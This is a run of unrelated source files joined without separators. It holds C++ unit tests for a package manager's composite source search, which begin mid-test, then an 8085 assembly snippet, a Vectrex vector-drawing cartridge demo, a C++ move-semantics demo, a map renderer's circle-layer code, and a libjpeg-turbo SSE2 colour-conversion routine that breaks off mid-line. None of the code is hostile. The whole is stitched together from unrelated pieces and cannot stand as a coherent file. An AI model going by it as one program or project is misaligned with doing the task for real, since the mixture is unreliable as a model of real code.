[&](const SearchRequest&) { SearchResult result; result.Matches.emplace_back(MakeAvailable([](Manifest::Manifest& m) { m.Id = "A different ID"; }), Criteria()); result.Matches.emplace_back(MakeAvailable([&](Manifest::Manifest& m) { m.Name = name; }), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); REQUIRE(result.Matches[0].Package->GetLatestAvailableVersion()->GetProperty(PackageVersionProperty::Name).get() == name); REQUIRE(!Version(result.Matches[0].Package->GetLatestAvailableVersion()->GetProperty(PackageVersionProperty::Version)).IsUnknown()); } TEST_CASE("CompositeSource_MultiMatch_DoesNotFindId", "[CompositeSource]") { CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN("sortof_apfn")), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest&) { SearchResult result; result.Matches.emplace_back(MakeAvailable([](Manifest::Manifest& m) { m.Id = "A different ID"; }), Criteria()); result.Matches.emplace_back(MakeAvailable([&](Manifest::Manifest& m) { m.Id = "Another diff ID"; }), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); REQUIRE(Version(result.Matches[0].Package->GetLatestAvailableVersion()->GetProperty(PackageVersionProperty::Version)).IsUnknown()); } TEST_CASE("CompositeSource_FoundByBothRootSearches", "[CompositeSource]") { std::string pfn = "sortof_apfn"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); setup.Installed->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; setup.Available->Everything.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); } TEST_CASE("CompositeSource_OnlyAvailableFoundByRootSearch", "[CompositeSource]") { std::string pfn = "sortof_apfn"; CompositeTestSetup setup; setup.Installed->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); return result; }; setup.Available->Everything.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); } TEST_CASE("CompositeSource_FoundByAvailableRootSearch_NotInstalled", "[CompositeSource]") { std::string pfn = "sortof_apfn"; CompositeTestSetup setup; setup.Available->Everything.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.empty()); } TEST_CASE("CompositeSource_UpdateWithBetterMatchCriteria", "[CompositeSource]") { std::string pfn = "sortof_apfn"; MatchType originalType = MatchType::Wildcard; MatchType type = MatchType::Exact; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); REQUIRE(result.Matches[0].MatchCriteria.Type == originalType); // Now make the source root search find it with a better criteria setup.Installed->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; setup.Available->Everything.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), PackageMatchFilter(PackageMatchField::Id, type, ""sv)); result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); REQUIRE(result.Matches[0].MatchCriteria.Type == type); } TEST_CASE("CompositePackage_PropertyFromInstalled", "[CompositeSource]") { std::string id = "Special test ID"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled([&](Manifest::Manifest& m) { m.Id = id; }), Criteria()); SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetProperty(PackageProperty::Id) == id); } TEST_CASE("CompositePackage_PropertyFromAvailable", "[CompositeSource]") { std::string id = "Special test ID"; std::string pfn = "sortof_apfn"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest&) { SearchResult result; result.Matches.emplace_back(MakeAvailable([&](Manifest::Manifest& m) { m.Id = id; }), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetProperty(PackageProperty::Id) == id); } TEST_CASE("CompositePackage_AvailableVersions_ChannelFilteredOut", "[CompositeSource]") { std::string pfn = "sortof_apfn"; std::string channel = "Channel"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest&) { Manifest::Manifest noChannel = MakeDefaultManifest(); noChannel.Version = "1.0"; Manifest::Manifest hasChannel = MakeDefaultManifest(); hasChannel.Channel = channel; hasChannel.Version = "2.0"; SearchResult result; result.Matches.emplace_back(TestPackage::Make(std::vector<Manifest::Manifest>{ noChannel, hasChannel }), Criteria()); REQUIRE(result.Matches.back().Package->GetAvailableVersionKeys().size() == 2); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); auto versionKeys = result.Matches[0].Package->GetAvailableVersionKeys(); REQUIRE(versionKeys.size() == 1); REQUIRE(versionKeys[0].Channel.empty()); auto latestVersion = result.Matches[0].Package->GetLatestAvailableVersion(); REQUIRE(latestVersion); REQUIRE(latestVersion->GetProperty(PackageVersionProperty::Channel).get().empty()); REQUIRE(!result.Matches[0].Package->IsUpdateAvailable()); } TEST_CASE("CompositePackage_AvailableVersions_NoChannelFilteredOut", "[CompositeSource]") { std::string pfn = "sortof_apfn"; std::string channel = "Channel"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled([&](Manifest::Manifest& m) { m.Installers[0].PackageFamilyName = pfn; m.Channel = channel; }), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest&) { Manifest::Manifest noChannel = MakeDefaultManifest(); noChannel.Version = "1.0"; Manifest::Manifest hasChannel = MakeDefaultManifest(); hasChannel.Channel = channel; hasChannel.Version = "2.0"; SearchResult result; result.Matches.emplace_back(TestPackage::Make(std::vector<Manifest::Manifest>{ noChannel, hasChannel }), Criteria()); REQUIRE(result.Matches.back().Package->GetAvailableVersionKeys().size() == 2); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); auto versionKeys = result.Matches[0].Package->GetAvailableVersionKeys(); REQUIRE(versionKeys.size() == 1); REQUIRE(versionKeys[0].Channel == channel); auto latestVersion = result.Matches[0].Package->GetLatestAvailableVersion(); REQUIRE(latestVersion); REQUIRE(latestVersion->GetProperty(PackageVersionProperty::Channel).get() == channel); REQUIRE(result.Matches[0].Package->IsUpdateAvailable()); } TEST_CASE("CompositeSource_MultipleAvailableSources_MatchFirst", "[CompositeSource]") { std::string pfn = "sortof_apfn"; std::string firstName = "Name1"; std::string secondName = "Name2"; CompositeTestSetup setup; std::shared_ptr<ComponentTestSource> secondAvailable = std::make_shared<ComponentTestSource>(); setup.Composite.AddAvailableSource(secondAvailable); setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable([&](Manifest::Manifest& m) { m.Name = firstName; }), Criteria()); return result; }; secondAvailable->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable([&](Manifest::Manifest& m) { m.Name = secondName; }), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); REQUIRE(result.Matches[0].Package->GetLatestAvailableVersion()->GetProperty(PackageVersionProperty::Name).get() == firstName); } TEST_CASE("CompositeSource_MultipleAvailableSources_MatchSecond", "[CompositeSource]") { std::string pfn = "sortof_apfn"; std::string firstName = "Name1"; std::string secondName = "Name2"; CompositeTestSetup setup; std::shared_ptr<ComponentTestSource> secondAvailable = std::make_shared<ComponentTestSource>(); setup.Composite.AddAvailableSource(secondAvailable); setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); secondAvailable->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable([&](Manifest::Manifest& m) { m.Name = secondName; }), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); REQUIRE(result.Matches[0].Package->GetLatestAvailableVersion()->GetProperty(PackageVersionProperty::Name).get() == secondName); } TEST_CASE("CompositeSource_MultipleAvailableSources_ReverseMatchBoth", "[CompositeSource]") { std::string pfn = "sortof_apfn"; CompositeTestSetup setup; std::shared_ptr<ComponentTestSource> secondAvailable = std::make_shared<ComponentTestSource>(); setup.Composite.AddAvailableSource(secondAvailable); setup.Installed->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); return result; }; setup.Available->Everything.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); secondAvailable->Everything.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); }
MVI D,01 MVI E,01 LDA 9050 JUMP: SUB D JZ NEXT INR D INR D INR E JMP JUMP NEXT: MOV A,E STA 9051 HLT
;*************************************************************************** ; DEFINE SECTION ;*************************************************************************** include "VECTREX.I" ; start of vectrex memory with cartridge name... org 0 ;*************************************************************************** ; HEADER SECTION ;*************************************************************************** db "g GCE 1998", $80 ; 'g' is copyright sign dw music1 ; music from the rom db $F8, $50, $20, -$55 ; height, width, rel y, rel x ; (from 0,0) db "VECTOR LIST TEST",$80 ; some game information, ; ending with $80 db 0 ; end of game header ;*************************************************************************** ; CODE SECTION ;*************************************************************************** ; here the cartridge program starts off main: jsr Wait_Recal ; Vectrex BIOS recalibration lda #$10 ; scaling factor of $80 to A sta VIA_t1_cnt_lo ; move to time 1 lo, this ; means scaling lda #0 ; to 0 (y) ldb #0 ; to 0 (x) jsr Moveto_d ; move the vector beam the ; relative position jsr Intensity_5F ; Sets the intensity of the ; vector beam to $5f ldx #turtle_line_list ; load the address of the to be ; drawn vector list to X jsr Draw_VLc ; draw the line now bra main ; and repeat forever ;*************************************************************************** SPRITE_BLOW_UP equ 25 turtle_line_list: db 23 ; number of vectors - 1 db 2*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP db 2*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP db 2*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP db 0*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP db 1*SPRITE_BLOW_UP, 3*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, 4*SPRITE_BLOW_UP db 1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, 1*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP db -3*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP db -3*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP db 1*SPRITE_BLOW_UP, 0*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, -4*SPRITE_BLOW_UP db 1*SPRITE_BLOW_UP, -3*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP db 0*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP db 2*SPRITE_BLOW_UP, 2*SPRITE_BLOW_UP db 2*SPRITE_BLOW_UP, -1*SPRITE_BLOW_UP db -1*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP db 2*SPRITE_BLOW_UP, -2*SPRITE_BLOW_UP ;*************************************************************************** end main ;***************************************************************************
#include <iostream> #include <functional> using namespace std; class A { public: A():n(1) { cout << this << " : " << __PRETTY_FUNCTION__ << ", " << n << endl; } A(int a):n(a) { cout << this << " : " << __PRETTY_FUNCTION__ << ", " << n << endl; } A(const A& a) { this->n = a.n; cout << this << " : " << __PRETTY_FUNCTION__ << ", " << n << endl; } A(const A&& a) { this->n = a.n; cout << this << " : " << __PRETTY_FUNCTION__ << ", " << n << endl; } ~A() { cout << this << " : " << __PRETTY_FUNCTION__ << ", " << n << endl; } friend ostream& operator<<( ostream& os, const A& a); private: int n; }; ostream& operator<<( ostream& os, const A& a) { os << &a << " : " << a.n; return os; } //void func( A a ) { // cout << "copy " << a << endl; //} void func( A& a ) { cout << "lvalue ref " << a << endl; } void func( A&& a ) { cout << "rvalue ref " << a << endl; } int main() { cout << "------- start --- " << endl; A a = A(5); A &ra = a; A c; cout << "------- func 1--- " << endl; func( a ); cout << "------- func 2--- " << endl; func( ra ); cout << "------- func 3--- " << endl; func( A() ); cout << "------- func 4--- " << endl; func( move(a) ); cout << "------- func 5--- " << endl; A b( A() ); cout << a << endl; //cout << b << endl; cout << "------- end --- " << endl; }
#include <mbgl/renderer/layers/render_circle_layer.hpp> #include <mbgl/renderer/buckets/circle_bucket.hpp> #include <mbgl/renderer/render_tile.hpp> #include <mbgl/renderer/paint_parameters.hpp> #include <mbgl/programs/programs.hpp> #include <mbgl/programs/circle_program.hpp> #include <mbgl/tile/tile.hpp> #include <mbgl/style/layers/circle_layer_impl.hpp> #include <mbgl/geometry/feature_index.hpp> #include <mbgl/gfx/cull_face_mode.hpp> #include <mbgl/util/math.hpp> #include <mbgl/util/intersection_tests.hpp> namespace mbgl { using namespace style; namespace { struct RenderableSegment { RenderableSegment(const Segment<CircleAttributes>& segment_, const RenderTile& tile_, const LayerRenderData* renderData_, float sortKey_) : segment(segment_), tile(tile_), renderData(renderData_), sortKey(sortKey_) {} const Segment<CircleAttributes>& segment; const RenderTile& tile; const LayerRenderData* renderData; const float sortKey; friend bool operator<(const RenderableSegment& lhs, const RenderableSegment& rhs) { if (lhs.sortKey == rhs.sortKey) return lhs.tile.id < rhs.tile.id; return lhs.sortKey < rhs.sortKey; } }; inline const style::CircleLayer::Impl& impl_cast(const Immutable<style::Layer::Impl>& impl) { assert(impl->getTypeInfo() == CircleLayer::Impl::staticTypeInfo()); return static_cast<const style::CircleLayer::Impl&>(*impl); } } // namespace RenderCircleLayer::RenderCircleLayer(Immutable<style::CircleLayer::Impl> _impl) : RenderLayer(makeMutable<CircleLayerProperties>(std::move(_impl))), unevaluated(impl_cast(baseImpl).paint.untransitioned()) {} void RenderCircleLayer::transition(const TransitionParameters& parameters) { unevaluated = impl_cast(baseImpl).paint.transitioned(parameters, std::move(unevaluated)); } void RenderCircleLayer::evaluate(const PropertyEvaluationParameters& parameters) { auto properties = makeMutable<CircleLayerProperties>( staticImmutableCast<CircleLayer::Impl>(baseImpl), unevaluated.evaluate(parameters)); const auto& evaluated = properties->evaluated; passes = ((evaluated.get<style::CircleRadius>().constantOr(1) > 0 || evaluated.get<style::CircleStrokeWidth>().constantOr(1) > 0) && (evaluated.get<style::CircleColor>().constantOr(Color::black()).a > 0 || evaluated.get<style::CircleStrokeColor>().constantOr(Color::black()).a > 0) && (evaluated.get<style::CircleOpacity>().constantOr(1) > 0 || evaluated.get<style::CircleStrokeOpacity>().constantOr(1) > 0)) ? RenderPass::Translucent : RenderPass::None; properties->renderPasses = mbgl::underlying_type(passes); evaluatedProperties = std::move(properties); } bool RenderCircleLayer::hasTransition() const { return unevaluated.hasTransition(); } bool RenderCircleLayer::hasCrossfade() const { return false; } void RenderCircleLayer::render(PaintParameters& parameters) { assert(renderTiles); if (parameters.pass == RenderPass::Opaque) { return; } const auto drawTile = [&](const RenderTile& tile, const LayerRenderData* data, const auto& segments) { auto& circleBucket = static_cast<CircleBucket&>(*data->bucket); const auto& evaluated = getEvaluated<CircleLayerProperties>(data->layerProperties); const bool scaleWithMap = evaluated.template get<CirclePitchScale>() == CirclePitchScaleType::Map; const bool pitchWithMap = evaluated.template get<CirclePitchAlignment>() == AlignmentType::Map; const auto& paintPropertyBinders = circleBucket.paintPropertyBinders.at(getID()); auto& programInstance = parameters.programs.getCircleLayerPrograms().circle; using LayoutUniformValues = CircleProgram::LayoutUniformValues; const auto& allUniformValues = CircleProgram::computeAllUniformValues( LayoutUniformValues( uniforms::matrix::Value(tile.translatedMatrix(evaluated.template get<CircleTranslate>(), evaluated.template get<CircleTranslateAnchor>(), parameters.state)), uniforms::scale_with_map::Value(scaleWithMap), uniforms::extrude_scale::Value( pitchWithMap ? std::array<float, 2>{{tile.id.pixelsToTileUnits(1, parameters.state.getZoom()), tile.id.pixelsToTileUnits(1, parameters.state.getZoom())}} : parameters.pixelsToGLUnits), uniforms::device_pixel_ratio::Value(parameters.pixelRatio), uniforms::camera_to_center_distance::Value(parameters.state.getCameraToCenterDistance()), uniforms::pitch_with_map::Value(pitchWithMap)), paintPropertyBinders, evaluated, parameters.state.getZoom()); const auto& allAttributeBindings = CircleProgram::computeAllAttributeBindings(*circleBucket.vertexBuffer, paintPropertyBinders, evaluated); checkRenderability(parameters, CircleProgram::activeBindingCount(allAttributeBindings)); programInstance.draw(parameters.context, *parameters.renderPass, gfx::Triangles(), parameters.depthModeForSublayer(0, gfx::DepthMaskType::ReadOnly), gfx::StencilMode::disabled(), parameters.colorModeForRenderPass(), gfx::CullFaceMode::disabled(), *circleBucket.indexBuffer, segments, allUniformValues, allAttributeBindings, CircleProgram::TextureBindings{}, getID()); }; const bool sortFeaturesByKey = !impl_cast(baseImpl).layout.get<CircleSortKey>().isUndefined(); std::multiset<RenderableSegment> renderableSegments; for (const RenderTile& renderTile : *renderTiles) { const LayerRenderData* renderData = getRenderDataForPass(renderTile, parameters.pass); if (!renderData) { continue; } auto& bucket = static_cast<CircleBucket&>(*renderData->bucket); if (!sortFeaturesByKey) { drawTile(renderTile, renderData, bucket.segments); continue; } for (auto& segment : bucket.segments) { renderableSegments.emplace(segment, renderTile, renderData, segment.sortKey); } } if (sortFeaturesByKey) { for (const auto& renderable : renderableSegments) { drawTile(renderable.tile, renderable.renderData, renderable.segment); } } } GeometryCoordinate projectPoint(const GeometryCoordinate& p, const mat4& posMatrix, const Size& size) { vec4 pos = {{ static_cast<double>(p.x), static_cast<double>(p.y), 0, 1 }}; matrix::transformMat4(pos, pos, posMatrix); return { static_cast<int16_t>((static_cast<float>(pos[0] / pos[3]) + 1) * size.width * 0.5), static_cast<int16_t>((static_cast<float>(pos[1] / pos[3]) + 1) * size.height * 0.5) }; } GeometryCoordinates projectQueryGeometry(const GeometryCoordinates& queryGeometry, const mat4& posMatrix, const Size& size) { GeometryCoordinates projectedGeometry; for (auto& p : queryGeometry) { projectedGeometry.push_back(projectPoint(p, posMatrix, size)); } return projectedGeometry; } bool RenderCircleLayer::queryIntersectsFeature(const GeometryCoordinates& queryGeometry, const GeometryTileFeature& feature, const float zoom, const TransformState& transformState, const float pixelsToTileUnits, const mat4& posMatrix, const FeatureState& featureState) const { const auto& evaluated = static_cast<const CircleLayerProperties&>(*evaluatedProperties).evaluated; // Translate query geometry const GeometryCoordinates& translatedQueryGeometry = FeatureIndex::translateQueryGeometry( queryGeometry, evaluated.get<style::CircleTranslate>(), evaluated.get<style::CircleTranslateAnchor>(), transformState.getBearing(), pixelsToTileUnits).value_or(queryGeometry); // Evaluate functions auto radius = evaluated.evaluate<style::CircleRadius>(zoom, feature, featureState); auto stroke = evaluated.evaluate<style::CircleStrokeWidth>(zoom, feature, featureState); auto size = radius + stroke; // For pitch-alignment: map, compare feature geometry to query geometry in the plane of the tile // Otherwise, compare geometry in the plane of the viewport // A circle with fixed scaling relative to the viewport gets larger in tile space as it moves into the distance // A circle with fixed scaling relative to the map gets smaller in viewport space as it moves into the distance bool alignWithMap = evaluated.evaluate<style::CirclePitchAlignment>(zoom, feature) == AlignmentType::Map; const GeometryCoordinates& transformedQueryGeometry = alignWithMap ? translatedQueryGeometry : projectQueryGeometry(translatedQueryGeometry, posMatrix, transformState.getSize()); auto transformedSize = alignWithMap ? size * pixelsToTileUnits : size; const auto& geometry = feature.getGeometries(); for (auto& ring : geometry) { for (auto& point : ring) { const GeometryCoordinate& transformedPoint = alignWithMap ? point : projectPoint(point, posMatrix, transformState.getSize()); float adjustedSize = transformedSize; vec4 center = {{ static_cast<double>(point.x), static_cast<double>(point.y), 0, 1 }}; matrix::transformMat4(center, center, posMatrix); auto pitchScale = evaluated.evaluate<style::CirclePitchScale>(zoom, feature); auto pitchAlignment = evaluated.evaluate<style::CirclePitchAlignment>(zoom, feature); if (pitchScale == CirclePitchScaleType::Viewport && pitchAlignment == AlignmentType::Map) { adjustedSize *= center[3] / transformState.getCameraToCenterDistance(); } else if (pitchScale == CirclePitchScaleType::Map && pitchAlignment == AlignmentType::Viewport) { adjustedSize *= transformState.getCameraToCenterDistance() / center[3]; } if (util::polygonIntersectsBufferedPoint(transformedQueryGeometry, transformedPoint, adjustedSize)) return true; } } return false; } } // namespace mbgl
; ; jccolext.asm - colorspace conversion (64-bit SSE2) ; ; Copyright (C) 2009, D. R. Commander. ; ; Based on the x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; [TAB8] %include "jcolsamp.inc" ; -------------------------------------------------------------------------- ; ; Convert some rows of samples to the output colorspace. ; ; GLOBAL(void) ; jsimd_rgb_ycc_convert_sse2 (JDIMENSION img_width, ; JSAMPARRAY input_buf, JSAMPIMAGE output_buf, ; JDIMENSION output_row, int num_rows); ; ; r10 = JDIMENSION img_width ; r11 = JSAMPARRAY input_buf ; r12 = JSAMPIMAGE output_buf ; r13 = JDIMENSION output_row ; r14 = int num_rows %define wk(i) rbp-(WK_NUM-(i))*SIZEOF_XMMWORD ; xmmword wk[WK_NUM] %define WK_NUM 8 align 16 global EXTN(jsimd_rgb_ycc_convert_sse2) EXTN(jsimd_rgb_ycc_convert_sse2): push rbp mov rax,rsp ; rax = original rbp sub rsp, byte 4 and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits mov [rsp],rax mov rbp,rsp ; rbp = aligned rbp lea rsp, [wk(0)] collect_args push rbx mov ecx, r10d test rcx,rcx jz near .return push rcx mov rsi, r12 mov ecx, r13d mov rdi, JSAMPARRAY [rsi+0*SIZEOF_JSAMPARRAY] mov rbx, JSAMPARRAY [rsi+1*SIZEOF_JSAMPARRAY] mov rdx, JSAMPARRAY [rsi+2*SIZEOF_JSAMPARRAY] lea rdi, [rdi+rcx*SIZEOF_JSAMPROW] lea rbx, [rbx+rcx*SIZEOF_JSAMPROW] lea rdx, [rdx+rcx*SIZEOF_JSAMPROW] pop rcx mov rsi, r11 mov eax, r14d test rax,rax jle near .return .rowloop: push rdx push rbx push rdi push rsi push rcx ; col mov rsi, JSAMPROW [rsi] ; inptr mov rdi, JSAMPROW [rdi] ; outptr0 mov rbx, JSAMPROW [rbx] ; outptr1 mov rdx, JSAMPROW [rdx] ; outptr2 cmp rcx, byte SIZEOF_XMMWORD jae near .columnloop %if RGB_PIXELSIZE == 3 ; --------------- .column_ld1: push rax push rdx lea rcx,[rcx+rcx*2] ; imul ecx,RGB_PIXELSIZE test cl, SIZEOF_BYTE jz short .column_ld2 sub rcx, byte SIZEOF_BYTE movzx rax, BYTE [rsi+rcx] .column_ld2: test cl, SIZEOF_WORD jz short .column_ld4 sub rcx, byte SIZEOF_WORD movzx rdx, WORD [rsi+rcx] shl rax, WORD_BIT or rax,rdx .column_ld4: movd xmmA,eax pop rdx pop rax test cl, SIZEOF_DWORD jz short .column_ld8 sub rcx, byte SIZEOF_DWORD movd xmmF, XMM_DWORD [rsi+rcx] pslldq xmmA, SIZEOF_DWORD por xmmA,xmmF .column_ld8: test cl, SIZEOF_MMWORD jz short .column_ld16 sub rcx, byte SIZEOF_MMWORD movq xmmB, XMM_MMWORD [rsi+rcx] pslldq xmmA, SIZEOF_MMWORD por xmmA,xmmB .column_ld16: test cl, SIZEOF_XMMWORD jz short .column_ld32 movdqa xmmF,xmmA movdqu xmmA, XMMWORD [rsi+0*SIZEOF_XMMWORD] mov rcx, SIZEOF_XMMWORD jmp short .rgb_ycc_cnv .column_ld32: test cl, 2*SIZEOF_XMMWORD mov rcx, SIZEOF_XMMWORD jz short .rgb_ycc_cnv movdqa xmmB,xmmA movdqu xmmA, XMMWORD [rsi+0*SIZEOF_XMMWORD] movdqu xmmF, XMMWORD [rsi+1*SIZEOF_XMMWORD] jmp short .rgb_ycc_cnv .columnloop: movdqu xmmA, XMMWORD [rsi+0*SIZEOF_XMMWORD] movdqu xmmF, XMMWORD [rsi+1*SIZEOF_XMMWORD] movdqu xmmB, XMMWORD [rsi+2*SIZEOF_XMMWORD] .rgb_ycc_cnv: ; xmmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05) ; xmmF=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A) ; xmmB=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F) movdqa xmmG,xmmA pslldq xmmA,8 ; xmmA=(-- -- -- -- -- -- -- -- 00 10 20 01 11 21 02 12) psrldq xmmG,8 ; xmmG=(22 03 13 23 04 14 24 05 -- -- -- -- -- -- -- --) punpckhbw xmmA,xmmF ; xmmA=(00 08 10 18 20 28 01 09 11 19 21 29 02 0A 12 1A) pslldq xmmF,8 ; xmmF=(-- -- -- -- -- -- -- -- 15 25 06 16 26 07 17 27) punpcklbw xmmG,xmmB ; xmmG=(22 2A 03 0B 13 1B 23 2B 04 0C 14 1C 24 2C 05 0D) punpckhbw xmmF,xmmB ; xmmF=(15 1D 25 2D 06 0E 16 1E 26 2E 07 0F 17 1F 27 2F) movdqa xmmD,xmmA pslldq xmmA,8 ; xmmA=(-- -- -- -- -- -- -- -- 00 08 10 18 20 28 01 09) psrldq xmmD,8 ; xmmD=(11 19 21 29 02 0A 12 1A -- -- -- -- -- -- -- --) punpckhbw xmmA,xmmG ; xmmA=(00 04 08 0C 10 14 18 1C 20 24 28 2C 01 05 09 0D) pslldq xmmG,8 ; xmmG=(-- -- -- -- -- -- -- -- 22 2A 03 0B 13 1B 23 2B) punpcklbw xmmD,xmmF ; xmmD=(11 15 19 1D 21 25 29 2D 02 06 0A 0E 12 16 1A 1E) punpckhbw xmmG,xmmF ; xmmG=(22 26 2A 2E 03 07 0B 0F 13 17 1B 1F 23 27 2B 2F) movdqa xmmE,xmmA pslldq xmmA,8 ; xmmA=(-- -- -- -- -- -- -- -- 00 04 08 0C 10 14 18 1C) psrldq xmmE,8 ; xmmE=(20 24 28 2C 01 